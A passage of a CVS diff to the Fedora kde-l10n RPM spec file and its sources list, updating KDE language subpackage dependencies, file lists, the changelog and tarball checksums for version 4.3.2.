 Summary: Belarusian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-be = %{version}-%{release}
 
 %description Belarusian
@@ -135,7 +132,7 @@ Belarusian language support for KDE
 %package Bengali-India
 Summary: Bengali India language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bn_IN = %{version}-%{release}
 Obsoletes: %{name}-Bengali
 
@@ -145,7 +142,7 @@ Bengali India language support for KDE
 %package Bulgarian
 Summary: Bulgarian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bg = %{version}-%{release}
 
 %description Bulgarian
@@ -154,7 +151,7 @@ Bulgarian language support for KDE
 %package Tibetan
 Summary: Tibetan language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bo = %{version}-%{release}
 
 %description Tibetan
@@ -163,7 +160,7 @@ Tibetan language support for KDE
 %package Breton
 Summary: Breton language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-br = %{version}-%{release}
 
 %description Breton
@@ -172,7 +169,7 @@ Breton language support for KDE
 %package Bosnian
 Summary: Bosnian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bs = %{version}-%{release}
 
 %description Bosnian
@@ -181,7 +178,7 @@ Bosnian language support for KDE
 %package Catalan
 Summary: Catalan language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ca = %{version}-%{release}
 
 %description Catalan
@@ -190,7 +187,7 @@ Catalan language support for KDE
 %package Czech
 Summary: Czech language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-cs = %{version}-%{release}
 
 %description Czech
@@ -199,7 +196,7 @@ Czech language support for KDE
 %package Welsh
 Summary: Welsh language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-cy = %{version}-%{release}
 
 %description Welsh
@@ -208,7 +205,7 @@ Welsh language support for KDE
 %package Danish
 Summary: Danish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-da = %{version}-%{release}
 
 %description Danish
@@ -217,7 +214,7 @@ Danish language support for KDE
 %package German
 Summary: German language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-de = %{version}-%{release}
 
 %description German
@@ -226,7 +223,7 @@ German language support for KDE
 %package Greek
 Summary: Greek language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-el = %{version}-%{release}
 
 %description Greek
@@ -235,7 +232,7 @@ Greek language support for KDE
 %package Gujarati
 Summary: Gujarati language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-gu = %{version}-%{release}
 
 %description Gujarati
@@ -244,7 +241,7 @@ Gujarati language support for KDE
 %package British
 Summary: British English support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-en_GB = %{version}-%{release}
 
 %description British
@@ -253,7 +250,7 @@ British English language support for KDE
 %package Esperanto
 Summary: Esperanto support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-eo = %{version}-%{release}
 
 %description Esperanto
@@ -262,7 +259,7 @@ Esperanto support for KDE
 %package Spanish
 Summary: Spanish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-es = %{version}-%{release}
 
 %description Spanish
@@ -271,7 +268,7 @@ Spanish language support for KDE
 %package Estonian
 Summary: Estonian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-et = %{version}-%{release}
 
 %description Estonian
@@ -280,7 +277,7 @@ Estonian language support for KDE
 %package Farsi
 Summary: Farsi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fa = %{version}-%{release}
 
 %description Farsi
@@ -289,7 +286,7 @@ Farsi language support for KDE
 %package Finnish
 Summary: Finnish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fi = %{version}-%{release}
 
 %description Finnish
@@ -298,7 +295,7 @@ Finnish language support for KDE
 %package Faroese
 Summary: Faroese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fo = %{version}-%{release}
 
 %description Faroese
@@ -307,7 +304,7 @@ Faroese language support for KDE
 %package French
 Summary: French language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fr = %{version}-%{release}
 
 %description French
@@ -316,7 +313,7 @@ French language support for KDE
 %package Frisian
 Summary: Frisian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fy = %{version}-%{release}
 
 %description Frisian
@@ -326,7 +323,7 @@ Frisian language support for KDE
 Summary: Irish language support for KDE
 Group: User Interface/Desktops
 Obsoletes: kde-i18n-Gaeilge
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ga = %{version}-%{release}
 
 %description Irish
@@ -335,7 +332,7 @@ Irish language support for KDE
 %package Galician
 Summary: Galician language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-gl = %{version}-%{release}
 
 %description Galician
@@ -344,7 +341,7 @@ Galician language support for KDE
 %package Hebrew
 Summary: Hebrew language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-he = %{version}-%{release}
 
 %description Hebrew
@@ -353,7 +350,7 @@ Hebrew language support for KDE
 %package Hindi
 Summary: Hindi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-hi = %{version}-%{release}
 
 %description Hindi
@@ -362,7 +359,7 @@ Hindi language support for KDE
 %package Croatian
 Summary: Croatian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-hr = %{version}-%{release}
 
 %description Croatian
@@ -371,7 +368,7 @@ Croatian language support for KDE
 %package Hungarian
 Summary: Hungarian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-hu = %{version}-%{release}
 
 %description Hungarian
@@ -380,7 +377,7 @@ Hungarian language support for KDE
 %package Indonesian
 Summary: Indonesian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-id = %{version}-%{release}
 
 %description Indonesian
@@ -389,7 +386,7 @@ Indonesian language support for KDE
 %package Icelandic
 Summary: Icelandic language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-is = %{version}-%{release}
 
 %description Icelandic
@@ -398,7 +395,7 @@ Icelandic language support for KDE
 %package Italian
 Summary: Italian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-it = %{version}-%{release}
 
 %description Italian
@@ -407,7 +404,7 @@ Italian language support for KDE
 %package Japanese
 Summary: Japanese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ja = %{version}-%{release}
 
 %description Japanese
@@ -416,7 +413,7 @@ Japanese language support for KDE
 %package Kannada
 Summary: Kannada language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-kn = %{version}-%{release}
 
 %description Kannada
@@ -425,7 +422,7 @@ Kannada language support for KDE
 %package Kashubian
 Summary: Kashubian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-csb = %{version}-%{release}
 
 %description Kashubian
@@ -434,7 +431,7 @@ Kashubian language support for KDE
 %package Kazakh
 Summary: Kazakh language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-kk = %{version}-%{release}
 
 %description Kazakh
@@ -443,7 +440,7 @@ Kazakh language support for KDE
 %package Khmer
 Summary: Khmer language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-km = %{version}-%{release}
 
 %description Khmer
@@ -452,7 +449,7 @@ Khmer language support for KDE
 %package Korean
 Summary: Korean language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ko = %{version}-%{release}
 
 %description Korean
@@ -461,7 +458,7 @@ Korean language support for KDE
 %package Kurdish
 Summary: Kurdish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ku = %{version}-%{release}
 
 %description Kurdish
@@ -470,7 +467,7 @@ Kurdish language support for KDE
 %package Lao
 Summary: Lao language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-lo = %{version}-%{release}
 
 %description Lao
@@ -479,7 +476,7 @@ Lao language support for KDE
 %package Lithuanian
 Summary: Lithuanian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-lt = %{version}-%{release}
 
 %description Lithuanian
@@ -488,7 +485,7 @@ Lithuanian language support for KDE
 %package Latvian
 Summary: Latvian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-lv = %{version}-%{release}
 
 %description Latvian
@@ -497,7 +494,7 @@ Latvian language support for KDE
 %package LowSaxon
 Summary: Low Saxon language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-nds = %{version}-%{release}
 
 %description LowSaxon
@@ -506,7 +503,7 @@ Low Saxon language support for KDE
 %package Maori
 Summary: Maori language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mi = %{version}-%{release}
 
 %description Maori
@@ -515,7 +512,7 @@ Maori language support for KDE
 %package Macedonian
 Summary: Macedonian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mk = %{version}-%{release}
 
 %description Macedonian
@@ -524,7 +521,7 @@ Macedonian language support for KDE
 %package Maithili
 Summary: Maithili language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mai = %{version}-%{release}
 
 %description Maithili
@@ -533,7 +530,7 @@ Maithili language support for KDE
 %package Malayalam
 Summary: Malayalam language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ml = %{version}-%{release}
 
 %description Malayalam
@@ -542,7 +539,7 @@ Malayalam language support for KDE
 %package Maltese
 Summary: Maltese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mt = %{version}-%{release}
 
 %description Maltese
@@ -551,7 +548,7 @@ Maltese language support for KDE
 %package Marathi
 Summary: Marathi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mr = %{version}-%{release}
 
 %description Marathi
@@ -560,7 +557,7 @@ Marathi language support for KDE
 %package Nepali
 Summary: Nepali language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ne = %{version}-%{release}
 
 %description Nepali
@@ -569,7 +566,7 @@ Nepali language support for KDE
 %package Dutch
 Summary: Dutch language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-nl = %{version}-%{release}
 
 %description Dutch
@@ -578,7 +575,7 @@ Dutch language support for KDE
 %package NorthernSami
 Summary: Northern Sami language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-se = %{version}-%{release}
 
 %description NorthernSami
@@ -587,7 +584,7 @@ Northern Sami language support for KDE
 %package Norwegian
 Summary: Norwegian (Bokmaal) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-no = %{version}-%{release}
 
 %description Norwegian
@@ -596,7 +593,7 @@ Norwegian (Bokmaal) language support for
 %package Norwegian-Nynorsk
 Summary: Norwegian (Nynorsk) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-nn = %{version}-%{release}
 
 %description Norwegian-Nynorsk
@@ -605,7 +602,7 @@ Norwegian (Nynorsk) language support for
 %package Occitan
 Summary: Occitan language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-oc = %{version}-%{release}
 
 %description Occitan
@@ -614,7 +611,7 @@ Occitan language support for KDE
 %package Polish
 Summary: Polish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pl = %{version}-%{release}
 
 %description Polish
@@ -623,7 +620,7 @@ Polish language support for KDE
 %package Portuguese
 Summary: Portuguese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pt = %{version}-%{release}
 
 %description Portuguese
@@ -632,7 +629,7 @@ Portuguese language support for KDE
 %package Punjabi
 Summary: Punjabi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pa = %{version}-%{release}
 
 %description Punjabi
@@ -641,7 +638,7 @@ Punjabi language support for KDE
 %package Brazil
 Summary: Brazil Portuguese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pt_BR = %{version}-%{release}
 
 %description Brazil
@@ -650,7 +647,7 @@ Brazil Portuguese language support for K
 %package Romanian
 Summary: Romanian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ro = %{version}-%{release}
 
 %description Romanian
@@ -659,7 +656,7 @@ Romanian language support for KDE
 %package Russian
 Summary: Russian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ru = %{version}-%{release}
 
 %description Russian
@@ -668,7 +665,7 @@ Russian language support for KDE
 %package Slovak
 Summary: Slovak language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sk = %{version}-%{release}
 
 %description Slovak
@@ -677,7 +674,7 @@ Slovak language support for KDE
 %package Slovenian
 Summary: Slovenian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sl = %{version}-%{release}
 
 %description Slovenian
@@ -686,7 +683,7 @@ Slovenian language support for KDE
 %package Serbian
 Summary: Serbian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sr = %{version}-%{release}
 
 %description Serbian
@@ -695,7 +692,7 @@ Serbian language support for KDE
 %package Swedish
 Summary: Swedish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sv = %{version}-%{release}
 
 %description Swedish
@@ -704,7 +701,7 @@ Swedish language support for KDE
 %package Tamil
 Summary: Tamil language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ta = %{version}-%{release}
 
 %description Tamil
@@ -713,7 +710,7 @@ Tamil language support for KDE
 %package Tajik
 Summary: Tajik language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-tg = %{version}-%{release}
 
 %description Tajik
@@ -722,7 +719,7 @@ Tajik language support for KDE
 %package Thai
 Summary: Thai language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-th = %{version}-%{release}
 
 %description Thai
@@ -731,7 +728,7 @@ Thai language support for KDE
 %package Turkish
 Summary: Turkish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-tr = %{version}-%{release}
 
 %description Turkish
@@ -740,7 +737,7 @@ Turkish language support for KDE
 %package Ukrainian
 Summary: Ukrainian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-uk = %{version}-%{release}
 
 %description Ukrainian
@@ -749,7 +746,7 @@ Ukrainian language support for KDE
 %package Venda
 Summary: Venda language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ven = %{version}-%{release}
 
 %description Venda
@@ -758,7 +755,7 @@ Venda language support for KDE
 %package Vietnamese
 Summary: Vietnamese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-vi = %{version}-%{release}
 
 %description Vietnamese
@@ -767,7 +764,7 @@ Vietnamese language support for KDE
 %package Walloon
 Summary: Walloon language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-wa = %{version}-%{release}
 
 %description Walloon
@@ -776,7 +773,7 @@ Walloon language support for KDE
 %package Xhosa
 Summary: Xhosa (a Bantu language) support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-xh = %{version}-%{release}
 
 %description Xhosa
@@ -785,7 +782,7 @@ Xhosa (a Bantu language) support for KDE
 %package Chinese
 Summary: Chinese (Simplified Chinese) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-zh_CN = %{version}-%{release}
 
 %description Chinese
@@ -794,7 +791,7 @@ Chinese (Simplified Chinese) language su
 %package Chinese-Traditional
 Summary: Chinese (Traditional) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-zh_TW = %{version}-%{release}
 
 %description Chinese-Traditional
@@ -875,6 +872,10 @@ rm -rf %{buildroot}%{_kde4_docdir}/HTML/
 %clean
 rm -rf %{buildroot}
 
+
+%files
+# empty
+
 %if %{buildall}
 %files Afrikaans
 %defattr(-,root,root)
@@ -1041,6 +1042,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root)
 %lang(eu) %{_datadir}/locale/eu/LC_MESSAGES/*
 %lang(eu) %{_datadir}/locale/eu/entry.desktop
+%lang(eu) %{_kde4_docdir}/HTML/eu
 
 %if %{buildall}
 %files Farsi
@@ -1105,6 +1107,7 @@ rm -rf %{buildroot}
 %lang(he) %{_datadir}/locale/he/LC_MESSAGES/*
 %lang(he) %{_datadir}/locale/he/entry.desktop
 %lang(he) %{_kde4_appsdir}/klettres/he
+%lang(he) %{_kde4_docdir}/HTML/he
 
 %files Hindi
 %defattr(-,root,root)
@@ -1115,6 +1118,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root)
 %lang(hr) %{_datadir}/locale/hr/LC_MESSAGES/*
 %lang(hr) %{_datadir}/locale/hr/entry.desktop
+%lang(hr) %{_datadir}/locale/hr/LC_SCRIPTS
 
 %files Hungarian
 %defattr(-,root,root)
@@ -1210,6 +1214,7 @@ rm -rf %{buildroot}
 %lang(nds) %{_kde4_appsdir}/ktuberling/sounds/nds*
 %lang(nds) %{_kde4_appsdir}/katepart/syntax/logohighlightstyle.nds.xml
 %lang(nds) %{_kde4_appsdir}/kturtle/examples/nds
+%lang(nds) %{_kde4_docdir}/HTML/nds
 
 %files Latvian
 %defattr(-,root,root)
@@ -1324,6 +1329,7 @@ rm -rf %{buildroot}
 %lang(pl) %{_kde4_appsdir}/khangman/pl.txt
 %lang(pl) %{_kde4_appsdir}/kvtml/pl
 %lang(pl) %{_kde4_docdir}/HTML/pl
+%lang(pl) %{_mandir}/pl/*/*
 
 %files Portuguese
 %defattr(-,root,root)
@@ -1495,7 +1501,14 @@ rm -rf %{buildroot}
 %lang(zh_TW) %{_datadir}/locale/zh_TW/entry.desktop
 %lang(zh_TW) %{_kde4_docdir}/HTML/zh_TW
 
+
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-3
+- main virtual subpkg
+
 * Sat Sep 05 2009 Than Ngo <than at redhat.com> - 4.3.1-2
 - add missing Croatian localization
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kde-l10n/F-11/sources,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- sources	5 Sep 2009 02:56:30 -0000	1.31
+++ sources	6 Oct 2009 12:26:19 -0000	1.32
@@ -1,57 +1,57 @@
-c8c1693b21bb3bde8903247288fd3859  kde-l10n-ar-4.3.1.tar.bz2
-fdc30435d4ac28b6113e9add14d728f3  kde-l10n-bg-4.3.1.tar.bz2
-c95e4fbb0ef37dfebedb7e0df62c9683  kde-l10n-bn_IN-4.3.1.tar.bz2
-18cf7a34ce6d7ffa4c38a56cb17e0fbb  kde-l10n-ca-4.3.1.tar.bz2
-bf81e4c48b250d3c8f1ecbfb80377a59  kde-l10n-csb-4.3.1.tar.bz2
-62d5a25f8f3cc2b2004525ecd69716a8  kde-l10n-cs-4.3.1.tar.bz2
-ec96cfdb8516e4d2db83a65bf403a421  kde-l10n-da-4.3.1.tar.bz2
-d379f16c94661c8068b068f8f58d1d40  kde-l10n-de-4.3.1.tar.bz2
-8ac584b59a437082a57e7be3d473f90e  kde-l10n-el-4.3.1.tar.bz2
-6968cf5e2a49aa21758115051c5f4940  kde-l10n-en_GB-4.3.1.tar.bz2
-31b3f07ce55dc8aae6bec971f338bcf3  kde-l10n-es-4.3.1.tar.bz2
-0dae18323c2c4ea560fd7bc25ecddffb  kde-l10n-et-4.3.1.tar.bz2
-eecc074d5328fb1429a9d1ac36bf96f0  kde-l10n-eu-4.3.1.tar.bz2
-34bd78b5686ab86335b2074468a95822  kde-l10n-fi-4.3.1.tar.bz2
-f6479abd82fafc1b32660d724a20cd35  kde-l10n-fr-4.3.1.tar.bz2
-e61c44e6f25efc33c02b1af0fc61076b  kde-l10n-ga-4.3.1.tar.bz2
-9104d134a008c1a0e610084139768a27  kde-l10n-gl-4.3.1.tar.bz2
-3134ea1fa9069e735ae884ec53ff51fa  kde-l10n-gu-4.3.1.tar.bz2
-e7c36e7bfac29b6f35e5f9f595bd3fee  kde-l10n-he-4.3.1.tar.bz2
-e6ef88ac651f31527fde274030fe29ae  kde-l10n-hi-4.3.1.tar.bz2
-f535c3f52fe6fd6dd62f47cf3b050c72  kde-l10n-hu-4.3.1.tar.bz2
-1ffcfc820005647e0a005e263a9f1805  kde-l10n-is-4.3.1.tar.bz2
-66db81f855de8c62c077361dab4eeb1c  kde-l10n-it-4.3.1.tar.bz2
-15e9b5a45a6236139342151e2a80b6cc  kde-l10n-ja-4.3.1.tar.bz2
-7673863d17d0c8b959eff3e8cef7eb5c  kde-l10n-kk-4.3.1.tar.bz2
-1edb34c62a7267f2e0ab221f16c87f97  kde-l10n-km-4.3.1.tar.bz2
-f9d545f3adbf0917dce523555319d6cd  kde-l10n-kn-4.3.1.tar.bz2
-a1bc1560b7c20d2e1bd9e3004b2a75f7  kde-l10n-ko-4.3.1.tar.bz2
-8e471b1e2af1c6cf4ee2c94fe0e61068  kde-l10n-ku-4.3.1.tar.bz2
-f22f07e005140407de1c91f5e8c6b014  kde-l10n-lt-4.3.1.tar.bz2
-870daf8a524c2540bf68b7db0a40b418  kde-l10n-lv-4.3.1.tar.bz2
-16ab057fbe49091a1b1b165c68748c63  kde-l10n-mai-4.3.1.tar.bz2
-225c1583a846661569e43073164de493  kde-l10n-mk-4.3.1.tar.bz2
-2098d129f0f337436ddfa8deec1fb01a  kde-l10n-ml-4.3.1.tar.bz2
-f9fb45491de0c96399cd0032939b051b  kde-l10n-mr-4.3.1.tar.bz2
-7c61e71082eb4f5ac795a7de4b7d2901  kde-l10n-nb-4.3.1.tar.bz2
-c6ad03ce2427d9729ff4cd64c6451ade  kde-l10n-nds-4.3.1.tar.bz2
-0a8a5be7c7c8810a46c19b4c164e6c53  kde-l10n-nl-4.3.1.tar.bz2
-20bf0fadb09e63d24f8032ac873e8bbc  kde-l10n-nn-4.3.1.tar.bz2
-b40dd8e5a6cf56b8cce539ffa1d0bcc7  kde-l10n-pa-4.3.1.tar.bz2
-695910cebb609f309a5f9d3e8ddbb9d6  kde-l10n-pt_BR-4.3.1.tar.bz2
-57437289c3e058f44e60fb8fa452445d  kde-l10n-pt-4.3.1.tar.bz2
-3526fd6b5c1700aad12a3c13e67d2758  kde-l10n-ro-4.3.1.tar.bz2
-656297b8627cf9bc1db089654c674d32  kde-l10n-ru-4.3.1.tar.bz2
-b096baa157d4bcf5f01f8a6d5a1ee405  kde-l10n-sk-4.3.1.tar.bz2
-f1019fbba6989d90b3512bab1bb3a436  kde-l10n-sl-4.3.1.tar.bz2
-08835b959267532a05de9805ff07935a  kde-l10n-sr-4.3.1.tar.bz2
-02168b49698842860329b3de9ff19487  kde-l10n-sv-4.3.1.tar.bz2
-1eb1ca133761be4ff4ce3d0e7f256c97  kde-l10n-tg-4.3.1.tar.bz2
-555af7ceff07e1aaa15f7e0c2a8cf2cc  kde-l10n-th-4.3.1.tar.bz2
-f705391dccc8557e0d9b874c0c2d3597  kde-l10n-tr-4.3.1.tar.bz2
-6bafe18044438254e118bb97319bff6d  kde-l10n-uk-4.3.1.tar.bz2
-8647f0ac0335a6894d39e0fb93bc3af5  kde-l10n-wa-4.3.1.tar.bz2
-44f8d8587820c9e206ff1e2cccf6f8bf  kde-l10n-zh_CN-4.3.1.tar.bz2
-2cb73314fdb32800bcd254bd84ed45c8  kde-l10n-zh_TW-4.3.1.tar.bz2
-7c341ebe674c954ca3e507545953a49b  kde-l10n-pl-4.3.1.tar.bz2
-7aace91ae8acd9333541eeed5438e45a  kde-l10n-hr-4.3.1.tar.bz2
+845a87a6fb8e274b9faf2b3e8ae05145  kde-l10n-ar-4.3.2.tar.bz2
+3330acdacb9ea687b3c883c5e175f3d7  kde-l10n-bg-4.3.2.tar.bz2
+3a646527d0d0a403797099787c987d12  kde-l10n-bn_IN-4.3.2.tar.bz2
+0df7312f62deabb6231135bc33f11f7a  kde-l10n-ca-4.3.2.tar.bz2
+d80aa0c3f1ff780328d3ac482da5d5aa  kde-l10n-csb-4.3.2.tar.bz2
+5e8218126b5529e6198a8fc4677ab2ed  kde-l10n-cs-4.3.2.tar.bz2
+5cd8285c55d39c0d74f74bdda3634f69  kde-l10n-da-4.3.2.tar.bz2
+af19e1c28b6cb27ae6928f9080ff67bc  kde-l10n-de-4.3.2.tar.bz2
+0f23ad4490306b55e2382883a3d03fae  kde-l10n-el-4.3.2.tar.bz2
+82fcc17d3927235cff6c683b12bfc46c  kde-l10n-en_GB-4.3.2.tar.bz2
+997dd53c79aceea07ba1f46b81edb1f3  kde-l10n-es-4.3.2.tar.bz2
+7528c8189ed344e129ca87474c908d7b  kde-l10n-et-4.3.2.tar.bz2
+c313a881d5d4275e78da42624c7d2b72  kde-l10n-eu-4.3.2.tar.bz2
+9bfd2944045e87b005f6c67e6f70b228  kde-l10n-fi-4.3.2.tar.bz2
+ef7f3a2bcc29b31af739265a70cd01e2  kde-l10n-fr-4.3.2.tar.bz2
+2763e1ad527205160997684e8fdba0a0  kde-l10n-ga-4.3.2.tar.bz2
+a8056265e3838efca737abd6986718be  kde-l10n-gl-4.3.2.tar.bz2
+592322e3f755067c9bff960fb96948e2  kde-l10n-gu-4.3.2.tar.bz2
+02d68df9f8717d277a384b15d372aeed  kde-l10n-he-4.3.2.tar.bz2
+bc4225d8eeb2c648354eec1a79bb3558  kde-l10n-hi-4.3.2.tar.bz2
+2628f02cb3e1fd20d678437101470645  kde-l10n-hr-4.3.2.tar.bz2
+3ccdb46e3005bde325c45334d0073470  kde-l10n-hu-4.3.2.tar.bz2
